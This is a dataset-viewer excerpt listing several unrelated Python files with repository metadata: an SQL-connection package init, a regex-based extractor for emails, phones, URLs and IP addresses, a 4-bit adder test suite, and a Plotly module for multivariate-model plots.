xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

4235cedeabc1374ed22812d3b218440d57966226

226

py

Python

ppextensions/ppsql/__init__.py

qwjlegend/PPExtensions

332b41d07c6f7ea1aa0660d50f889a51fcacd935

[ "BSD-3-Clause" ]

49

2018-08-24T10:13:51.000Z

2022-01-19T09:30:56.000Z

ppextensions/ppsql/__init__.py

qwjlegend/PPExtensions

332b41d07c6f7ea1aa0660d50f889a51fcacd935

[ "BSD-3-Clause" ]

43

2018-08-24T03:54:18.000Z

2019-11-22T13:46:41.000Z

ppextensions/ppsql/__init__.py

qwjlegend/PPExtensions

332b41d07c6f7ea1aa0660d50f889a51fcacd935

[ "BSD-3-Clause" ]

28

2018-08-24T03:31:38.000Z

2021-10-21T22:04:15.000Z

from .connection.csvconnection import CSVConnection from .connection.hiveconnection import HiveConnection from .connection.prestoconnection import PrestoConnection from .connection.teradataconnection import TeradataConnection

45.2

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0

7

428e6bf779f2734f9d1e4143a0bec5656445c76e

1,367

py

Python

Littlebrother/core/RegexTool.py

Manishtanwar123/manishtanwar123

ecd42aa663c06cbc3ec4addf5963e27c0eacca3c

[ "BSD-3-Clause" ]

36

2020-08-16T05:31:48.000Z

2022-03-20T00:22:59.000Z

core/RegexTool.py

h3ckerwasi/Hackerwasi

09bc3416134bc590897f8fb9cec721b335cc9691

[ "MIT" ]

9

2020-10-04T20:29:36.000Z

2021-07-13T18:27:19.000Z

core/RegexTool.py

h3ckerwasi/Hackerwasi

09bc3416134bc590897f8fb9cec721b335cc9691

[ "MIT" ]

14

2020-08-24T10:55:19.000Z

2022-03-08T18:05:55.000Z

import re class RegexTool: def __init__(self, data): self.data = data def Email(self): email = re.findall(r'[a-zA-Z0-9+_\-\.]+@[0-9a-zA-Z][.-0-9a-zA-Z]*.[a-zA-Z]+', data) self.email = email def TelephoneFr(self): telephone = re.findall(r"(0|\\+33|0033)[1-9][0-9]{8}", data) self.telephone = telephone def Url(self): urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\$\$,]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', data) self.urls = urls def AddressIpv4(self): ipv4 = re.findall(r"^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$", data) self.ipv4 = ipv4 def AddressIpv6(self): ipv6 = re.findall(r"^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$", data) self.ipv6 = ipv6

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346

1,367

1.861272

0.127168

0.107143

0.15528

0.186335

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0.066569

1,367

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50.62963

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false

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1

null

0

1

0

7

c4494d5610c65a43b05ca5aea7ae6a330927af94

8,711

py

Python

tests/arithmetic/test_Adder4.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

tests/arithmetic/test_Adder4.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

tests/arithmetic/test_Adder4.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

import bitwise as bw class TestAdder4: def test_Adder4(self): carry_in = bw.wire.Wire() input_1 = bw.wire.Wire() input_2 = bw.wire.Wire() input_3 = bw.wire.Wire() input_4 = bw.wire.Wire() input_5 = bw.wire.Wire() input_6 = bw.wire.Wire() input_7 = bw.wire.Wire() input_8 = bw.wire.Wire() carry_out = bw.wire.Wire() output_1 = bw.wire.Wire() output_2 = bw.wire.Wire() output_3 = bw.wire.Wire() output_4 = bw.wire.Wire() input_bus_1 = bw.wire.Bus4(input_1, input_2, input_3, input_4) input_bus_2 = bw.wire.Bus4(input_5, input_6, input_7, input_8) output_bus = bw.wire.Bus4(output_1, output_2, output_3, output_4) a = bw.arithmetic.Adder4( carry_in, input_bus_1, input_bus_2, carry_out, output_bus ) carry_in.value = 0 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 0) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (0, 1, 1, 1, 1) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 1 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 1 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 1) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 1 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 1, 1) carry_in.value = 0 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (0, 1, 1, 1, 1) carry_in.value = 0 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 1 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0) carry_in.value = 0 input_1.value = 0 input_2.value = 0 input_3.value = 1 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1) carry_in.value = 0 input_1.value = 0 input_2.value = 1 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 1) carry_in.value = 0 input_1.value = 1 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 1, 1) carry_in.value = 0 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 1, 1, 1, 0) carry_in.value = 1 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 1) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 0 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 0 input_7.value = 1 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 0) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 0 input_6.value = 1 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 0, 0) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 1 input_6.value = 0 input_7.value = 0 input_8.value = 0 assert (carry_out.value, *output_bus.wire_values) == (1, 1, 0, 0, 0) carry_in.value = 1 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 0) carry_in.value = 1 input_1.value = 0 input_2.value = 0 input_3.value = 0 input_4.value = 1 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 0, 1) carry_in.value = 1 input_1.value = 0 input_2.value = 0 input_3.value = 1 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 0, 1, 0) carry_in.value = 1 input_1.value = 0 input_2.value = 1 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 0, 1, 0, 0) carry_in.value = 1 input_1.value = 1 input_2.value = 0 input_3.value = 0 input_4.value = 0 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 1, 0, 0, 0) carry_in.value = 1 input_1.value = 1 input_2.value = 1 input_3.value = 1 input_4.value = 1 input_5.value = 1 input_6.value = 1 input_7.value = 1 input_8.value = 1 assert (carry_out.value, *output_bus.wire_values) == (1, 1, 1, 1, 1) print(a.__doc__) print(a) a( carry_in=0, a_bus=(0, 0, 0, 0), b_bus=(0, 0, 0, 0), carry_out=None, sum_bus=None ) assert (carry_out.value, *output_bus.wire_values) == (0, 0, 0, 0, 0)

28.374593

76

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1,353

8,711

3.124169

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0.286255

0.112373

0.885025

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0.370796

8,711

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false

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1

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1

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1

0

null

0

8

c44a0166fb43ac03ef5ed66ecd25b82f7f52ad35

26,207

py

Python

process_improve/multivariate/plots.py

kgdunn/process_improve

8542bdf824b37d5b25f542102cb3a0ee7c96503a

[ "MIT" ]

1

2020-01-26T06:15:03.000Z

process_improve/multivariate/plots.py

kgdunn/process_improve

8542bdf824b37d5b25f542102cb3a0ee7c96503a

[ "MIT" ]

21

2019-09-08T15:20:01.000Z

2020-01-15T14:03:42.000Z

process_improve/multivariate/plots.py

kgdunn/process_improve

8542bdf824b37d5b25f542102cb3a0ee7c96503a

[ "MIT" ]

null

# (c) Kevin Dunn, 2010-2022. MIT License. Based on own private work over the years. # Built-in libraries import json from typing import Dict import plotly.graph_objects as go from pydantic import BaseModel, validator def plot_pre_checks(model, pc_horiz, pc_vert, pc_depth) -> bool: assert ( 0 < pc_horiz <= model.A ), f"The model has {model.A} components. Ensure that 1 <= pc_horiz<={model.A}." assert ( 0 < pc_vert <= model.A ), f"The model has {model.A} components. Ensure that 1 <= pc_vert<={model.A}." assert ( -1 <= pc_depth <= model.A ), f"The model has {model.A} components. Ensure that 1 <= pc_depth<={model.A}." assert ( len(set([pc_horiz, pc_vert, pc_depth])) == 3 ), "Specify distinct components for each axis" return True def score_plot( model, pc_horiz: int = 1, pc_vert: int = 2, pc_depth: int = -1, items_to_highlight: Dict[str, list] = None, settings: Dict = None, fig=None, ) -> go.Figure: """Generates a 2-dimensional score plot for the given latent variable model. Parameters ---------- model : MVmodel object (PCA, or PLS) A latent variable model generated by this library. pc_horiz : int, optional Which component to plot on the horizontal axis, by default 1 (the first component) pc_vert : int, optional Which component to plot on the vertical axis, by default 2 (the second component) pc_depth : int, optional If pc_depth >= 1, then a 3D score plot is generated, with this component on the 3rd axis items_to_highlight : dict, optional keys: an string which can be json.loads(...) and turns into a Plotly line specifier. values: a list of identifiers for the items to highlight [index names] For example: items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red} will ensure the subset of the index listed in `items_in_red` in that colour and shape. settings : dict Default settings are = { "show_ellipse": True [bool], Should the Hotelling's T2 ellipse be added "ellipse_conf_level": 0.95 [float] If the ellipse is added, which confidence level is used. A number < 1.00. "title": f"Score plot of ... " Overall plot title "show_labels": False, Adds a label for each observation. Labels are always available in the hover. "show_legend": True, Shows a clickable legend (allows to turn the ellipse(s) on/off) "html_image_height": 500, in pixels "html_aspect_ratio_w_over_h": 16/9, sets the image width, as a ratio of the height } """ plot_pre_checks(model, pc_horiz, pc_vert, pc_depth) margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80 class Settings(BaseModel): show_ellipse: bool = True ellipse_conf_level: float = 0.95 # TODO: check constraint title: str = f"Score plot of component {pc_horiz} vs component {pc_vert}" + ( f" vs component {pc_depth}" if pc_depth > 0 else "" ) show_labels: bool = False # TODO show_legend: bool = True html_image_height: float = 500.0 html_aspect_ratio_w_over_h: float = 16 / 9.0 @validator("ellipse_conf_level") def check_ellipse_conf_level(cls, v): if v >= 1: raise ValueError("0.0 < `ellipse_conf_level` < 1.0") if v <= 0: raise ValueError("0.0 < `ellipse_conf_level` < 1.0") return v if settings: setdict = Settings(**settings).dict() else: setdict = Settings().dict() if fig is None: fig = go.Figure() name = "X-space scores [T]" fig.update_layout( xaxis_title_text=f"PC {pc_horiz}", yaxis_title_text=f"PC {pc_vert}" ) highlights: Dict[str, list] = {} default_index = model.x_scores.index if items_to_highlight is not None: highlights = items_to_highlight.copy() for key, items in items_to_highlight.items(): highlights[key] = list(set(items) & set(default_index)) default_index = (set(default_index) ^ set(highlights[key])) & set( default_index ) # Ensure it is back to a list default_index = list(default_index) # 3D plot if pc_depth >= 1: fig.add_trace( go.Scatter3d( x=model.x_scores.loc[default_index, pc_horiz], y=model.x_scores.loc[default_index, pc_vert], z=model.x_scores.loc[default_index, pc_depth], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=dict( color="darkblue", symbol="circle", ), text=list(default_index), textposition="top center", ) ) # Items to highlight, if any for key, index in highlights.items(): styling = json.loads(key) fig.add_trace( go.Scatter3d( x=model.x_scores.loc[index, pc_horiz], y=model.x_scores.loc[index, pc_vert], z=model.x_scores.loc[index, pc_depth], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=styling, text=list(index), textposition="top center", ) ) else: # Regular 2D plot fig.add_trace( go.Scatter( x=model.x_scores.loc[default_index, pc_horiz], y=model.x_scores.loc[default_index, pc_vert], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=dict( color="darkblue", symbol="circle", size=7, ), text=default_index, textposition="top center", ) ) # Items to highlight, if any for key, index in highlights.items(): styling = json.loads(key) fig.add_trace( go.Scatter( x=model.x_scores.loc[index, pc_horiz], y=model.x_scores.loc[index, pc_vert], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=styling, text=list(index), textposition="top center", ) ) if setdict["show_ellipse"]: ellipse = model.ellipse_coordinates( score_horiz=pc_horiz, score_vert=pc_vert, T2_limit_conf_level=setdict["ellipse_conf_level"], ) fig.add_hline(y=0, line_color="black") fig.add_vline(x=0, line_color="black") fig.add_trace( go.Scatter( x=ellipse[0], y=ellipse[1], name=f"Hotelling's T^2 [{setdict['ellipse_conf_level']*100:.4g}%]", mode="lines", line=dict( color="red", width=2, ), ) ) fig.update_layout( title_text=setdict["title"], margin=margin_dict, hovermode="closest", showlegend=setdict["show_legend"], legend=dict( orientation="h", traceorder="normal", font=dict(family="sans-serif", size=12, color="#000"), bordercolor="#DDDDDD", borderwidth=1, ), autosize=False, xaxis=dict( gridwidth=1, mirror=True, showspikes=True, visible=True, ), yaxis=dict( gridwidth=2, type="linear", autorange=True, showspikes=True, visible=True, showline=True, side="left", ), width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"], height=setdict["html_image_height"], ) if pc_depth >= 1: fig.update_layout( scene=dict( xaxis=fig.to_dict()["layout"]["xaxis"], yaxis=fig.to_dict()["layout"]["xaxis"], zaxis=dict( title_text=f"PC {pc_depth}", mirror=True, showspikes=True, visible=True, gridwidth=1, ), ), ) return fig def loadings_plot( model, loadings_type="p", pc_horiz=1, pc_vert=2, settings: Dict = None, fig=None ) -> go.Figure: """Generates a 2-dimensional loadings for the given latent variable model. Parameters ---------- model : MVmodel object (PCA, or PLS) A latent variable model generated by this library. loadings_type : str, optional A choice of the following: 'p' : (default for PCA) : the P (projection) loadings: only option possible for PCA 'w' : the W loadings: Suitable for PLS 'w*' : (default for PLS) the W* (or R) loadings: Suitable for PLS 'w*c' : the W* (from X-space) with C loadings from the Y-space: Suitable for PLS 'c' : the C loadings from the Y-space: Suitable for PLS For PCA model any other choice besides 'p' will be ignored. pc_horiz : int, optional Which component to plot on the horizontal axis, by default 1 (the first component) pc_vert : int, optional Which component to plot on the vertical axis, by default 2 (the second component) settings : dict Default settings are = { "title": f"Loadings plot of component {pc_horiz} vs component {pc_vert}" Overall plot title "show_labels": True, Adds a label for each column. Labels are always available in the hover. "html_image_height": 500, in pixels "html_aspect_ratio_w_over_h": 16/9, sets the image width, as a ratio of the height } """ plot_pre_checks(model, pc_horiz, pc_vert, pc_depth=0) margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80 class Settings(BaseModel): title: str = ( f"Loadings plot [{loadings_type.upper()}] of component {pc_horiz} vs " f"component {pc_vert}" ) show_labels: bool = True html_image_height: float = 500.0 html_aspect_ratio_w_over_h: float = 16 / 9.0 if settings: setdict = Settings(**settings).dict() else: setdict = Settings().dict() if fig is None: fig = go.Figure() what = model.x_loadings # PCA default if hasattr(model, "direct_weights"): what = model.direct_weights # PLS default extra = None if loadings_type.lower() == "p": what = model.x_loadings if loadings_type.lower() == "w": what = model.x_weights elif loadings_type.lower() == "w*": what = model.direct_weights elif loadings_type.lower() == "w*c": loadings_type = loadings_type[0:-1] what = model.direct_weights extra = model.y_loadings elif loadings_type.lower() == "c": what = model.y_loadings fig.add_trace( go.Scatter( x=what.loc[:, pc_horiz], y=what.loc[:, pc_vert], name="X-space loadings W*", mode="markers+text" if setdict["show_labels"] else "markers", marker=dict( color="darkblue", symbol="circle", size=7, ), text=what.index, textposition="top center", ) ) add_legend = False # Note, we have cut off the 'c' from loadings_type add_legend = False if loadings_type.lower() == "w*" and extra is not None: add_legend = True fig.add_trace( go.Scatter( x=extra.loc[:, pc_horiz], y=extra.loc[:, pc_vert], name="Y-space loadings C", mode="markers+text" if setdict["show_labels"] else "markers", marker=dict( color="purple", symbol="star", size=8, ), text=extra.index, textposition="bottom center", ) ) fig.update_layout( xaxis_title_text=f"PC {pc_horiz}", yaxis_title_text=f"PC {pc_vert}" ) fig.add_hline(y=0, line_color="black") fig.add_vline(x=0, line_color="black") fig.update_layout( title_text=setdict["title"], margin=margin_dict, hovermode="closest", showlegend=add_legend, autosize=False, xaxis=dict( gridwidth=1, mirror=True, showspikes=True, visible=True, ), yaxis=dict( gridwidth=2, type="linear", autorange=True, showspikes=True, visible=True, showline=True, side="left", ), width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"], height=setdict["html_image_height"], ) return fig def spe_plot( model, with_a=-1, items_to_highlight: Dict[str, list] = None, settings: Dict = None, fig=None, ) -> go.Figure: """Generates a squared-prediction error (SPE) plot for the given latent variable model using `with_a` number of latent variables. The default will use the total number of latent variables which have already been fitted. Parameters ---------- model : MVmodel object (PCA, or PLS) A latent variable model generated by this library. with_a : int, optional Uses this many number of latent variables, and therefore shows the SPE after this number of model components. By default the total number of components fitted will be used. items_to_highlight : dict, optional keys: an string which can be json.loads(...) and turns into a Plotly line specifier. values: a list of identifiers for the items to highlight [index names] For example: items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red} will ensure the subset of the index listed in `items_in_red` in that colour and shape. settings : dict Default settings are = { "show_limit": True [bool], Should the SPE limit be plotted. "conf_level": 0.95 [float] If the limit line is added, which confidence level is used. Number < 1.00. "title": f"Squared prediction error plot after fitting {with_a} components, with the {conf_level*100}% confidence limit" Overall plot title "default_marker": optional, [dict] dict(color="darkblue", symbol="circle", size=7) "show_labels": False, Adds a label for each observation. Labels are always available in the hover. "show_legend": False, Shows a clickable legend (allows to turn the limit on/off) "html_image_height": 500, Image height, in pixels. "html_aspect_ratio_w_over_h": 16/9, Sets the image width, as a ratio of the height. } """ # TO CONSIDER: allow a setting `as_line`: which connects the points with line segments margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80 if with_a < 0: # Get the actual name of the last column in the model if negative indexing is used with_a = model.squared_prediction_error.columns[with_a] elif with_a == 0: assert False, "`with_a` must be >= 1, or specified with negative indexing" assert with_a <= model.A, "`with_a` must be <= the number of components fitted" class Settings(BaseModel): show_limit: bool = True conf_level: float = 0.95 # TODO: check constraint < 1 title: str = ( "Squared prediction error plot after " f"fitting {with_a} component{'s' if with_a > 1 else ''}" f", with the {conf_level*100}% confidence limit" ) default_marker: Dict = dict(color="darkblue", symbol="circle", size=7) show_labels: bool = False show_legend: bool = False html_image_height: float = 500.0 html_aspect_ratio_w_over_h: float = 16 / 9.0 @validator("conf_level") def check_conf_level(cls, v): if v >= 1: raise ValueError("0.0 < `conf_level` < 1.0") if v <= 0: raise ValueError("0.0 < `conf_level` < 1.0") return v if settings: setdict = Settings(**settings).dict() else: setdict = Settings().dict() if fig is None: fig = go.Figure() name = f"SPE values after {with_a} component{'s' if with_a > 1 else ''}" highlights: Dict[str, list] = {} default_index = model.squared_prediction_error.index if items_to_highlight is not None: highlights = items_to_highlight.copy() for key, items in items_to_highlight.items(): highlights[key] = list(set(items) & set(default_index)) default_index = (set(default_index) ^ set(highlights[key])) & set( default_index ) # Ensure it is back to a list default_index = list(default_index) fig.add_trace( go.Scatter( x=default_index, y=model.squared_prediction_error.loc[default_index, with_a], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=setdict["default_marker"], text=default_index, textposition="top center", showlegend=setdict["show_legend"], ) ) # Items to highlight, if any for key, index in highlights.items(): styling = json.loads(key) fig.add_trace( go.Scatter( x=index, y=model.squared_prediction_error.loc[index, with_a], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=styling, text=index, textposition="top center", ) ) limit_SPE_conf_level = model.SPE_limit(conf_level=setdict["conf_level"]) name = f'{setdict["conf_level"]*100:.3g}% limit' fig.add_hline( y=limit_SPE_conf_level, line_color="red", annotation_text=name, annotation_position="bottom right", name=name, ) fig.add_hline(y=0, line_color="black") fig.update_layout( title_text=setdict["title"], margin=margin_dict, hovermode="closest", showlegend=setdict["show_legend"], legend=dict( orientation="h", traceorder="normal", font=dict(family="sans-serif", size=12, color="#000"), bordercolor="#DDDDDD", borderwidth=1, ), autosize=False, xaxis=dict( gridwidth=1, mirror=True, showspikes=True, visible=True, ), yaxis=dict( title=name, gridwidth=2, type="linear", autorange=True, showspikes=True, visible=True, showline=True, # show a separating line side="left", # show on the RHS ), width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"], height=setdict["html_image_height"], ) return fig def t2_plot( model, with_a=-1, items_to_highlight: Dict[str, list] = None, settings: Dict = None, fig=None, ) -> go.Figure: """Generates a Hotelling's T2 (T^2) plot for the given latent variable model using `with_a` number of latent variables. The default will use the total number of latent variables which have already been fitted. Parameters ---------- model : MVmodel object (PCA, or PLS) A latent variable model generated by this library. with_a : int, optional Uses this many number of latent variables, and therefore shows the SPE after this number of model components. By default the total number of components fitted will be used. items_to_highlight : dict, optional keys: an string which can be json.loads(...) and turns into a Plotly line specifier. values: a list of identifiers for the items to highlight [index names] For example: items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red} will ensure the subset of the index listed in `items_in_red` in that colour and shape. settings : dict Default settings are = { "show_limit": True [bool], Should the T2 limit be plotted. "conf_level": 0.95 [float] If the limit line is added, which confidence level is used. Number < 1.00. "title": f"Hotelling's T2 plot after fitting {with_a} components, with the {conf_level*100}% confidence limit"" Overall plot title "default_marker": optional, [dict] dict(color="darkblue", symbol="circle", size=7) "show_labels": False, Adds a label for each observation. Labels are always available in the hover. "show_legend": False, Shows a clickable legend (allows to turn the limit on/off) "html_image_height": 500, Image height, in pixels. "html_aspect_ratio_w_over_h": 16/9, Sets the image width, as a ratio of the height. } """ # TO CONSIDER: allow a setting `as_line`: which connects the points with line segments margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80 if with_a < 0: with_a = model.Hotellings_T2.columns[with_a] # TODO: check `with_a`: what should it plot if `with_a` is zero, or > A? class Settings(BaseModel): show_limit: bool = True conf_level: float = 0.95 # TODO: check constraint < 1 title: str = ( f"Hotelling's T2 plot after fitting {with_a} component{'s' if with_a > 1 else ''}" f", with the {conf_level*100}% confidence limit" ) default_marker: Dict = dict(color="darkblue", symbol="circle", size=7) show_labels: bool = False # TODO show_legend: bool = False html_image_height: float = 500.0 html_aspect_ratio_w_over_h: float = 16 / 9.0 if settings: setdict = Settings(**settings).dict() else: setdict = Settings().dict() if fig is None: fig = go.Figure() name = f"T2 values after {with_a} component{'s' if with_a > 1 else ''}" highlights: Dict[str, list] = {} default_index = model.Hotellings_T2.index if items_to_highlight is not None: highlights = items_to_highlight.copy() for key, items in items_to_highlight.items(): highlights[key] = list(set(items) & set(default_index)) default_index = (set(default_index) ^ set(highlights[key])) & set( default_index ) # Ensure it is back to a list default_index = list(default_index) fig.add_trace( go.Scatter( x=default_index, y=model.Hotellings_T2.loc[default_index, with_a], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=setdict["default_marker"], text=default_index, textposition="top center", showlegend=setdict["show_legend"], ) ) # Items to highlight, if any for key, index in highlights.items(): styling = json.loads(key) fig.add_trace( go.Scatter( x=index, y=model.Hotellings_T2.loc[index, with_a], name=name, mode="markers+text" if setdict["show_labels"] else "markers", marker=styling, text=index, textposition="top center", ) ) limit_HT2_conf_level = model.T2_limit(conf_level=setdict["conf_level"]) name = f'{setdict["conf_level"]*100:.3g}% limit' fig.add_hline( y=limit_HT2_conf_level, line_color="red", annotation_text=name, annotation_position="bottom right", name=name, ) fig.add_hline(y=0, line_color="black") fig.update_layout( title_text=setdict["title"], margin=margin_dict, hovermode="closest", showlegend=setdict["show_legend"], legend=dict( orientation="h", traceorder="normal", font=dict(family="sans-serif", size=12, color="#000"), bordercolor="#DDDDDD", borderwidth=1, ), autosize=False, xaxis=dict( gridwidth=1, mirror=True, showspikes=True, visible=True, ), yaxis=dict( title_text=name, gridwidth=2, type="linear", autorange=True, showspikes=True, visible=True, showline=True, side="left", ), width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"], height=setdict["html_image_height"], ) return fig

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c45c4fff2df2699297ee69bc175d8218572d72c0

126

py

Python

tests/ddns_updater/__init__.py

hbontempo-br/ddns-manager

3d78ba540d433146fc61b4243c62a519830c1fb4

[ "MIT" ]

null

tests/ddns_updater/__init__.py

hbontempo-br/ddns-manager

3d78ba540d433146fc61b4243c62a519830c1fb4

[ "MIT" ]

15

2021-06-30T16:05:38.000Z

2021-07-11T16:14:29.000Z

tests/ddns_updater/__init__.py

hbontempo-br/ddns-manager

3d78ba540d433146fc61b4243c62a519830c1fb4

[ "MIT" ]

null

from .ddns_updater_test import TestDDNSUpdater from .google_synthetic_ddns_updater_test import TestGoogleSyntheticDDNSUpdater

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c477de4634ddc32c4e47380eb0ab2e82850bfb24

11,147

py

Python

FL_models/All_models.py

Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline

e1769f2ec37f6f7c16bda543a5609779ccefbfe1

[ "MIT" ]

null

FL_models/All_models.py

Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline

e1769f2ec37f6f7c16bda543a5609779ccefbfe1

[ "MIT" ]

2

2022-03-24T13:28:35.000Z

2022-03-30T21:12:15.000Z

FL_models/All_models.py

Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline

e1769f2ec37f6f7c16bda543a5609779ccefbfe1

[ "MIT" ]

null

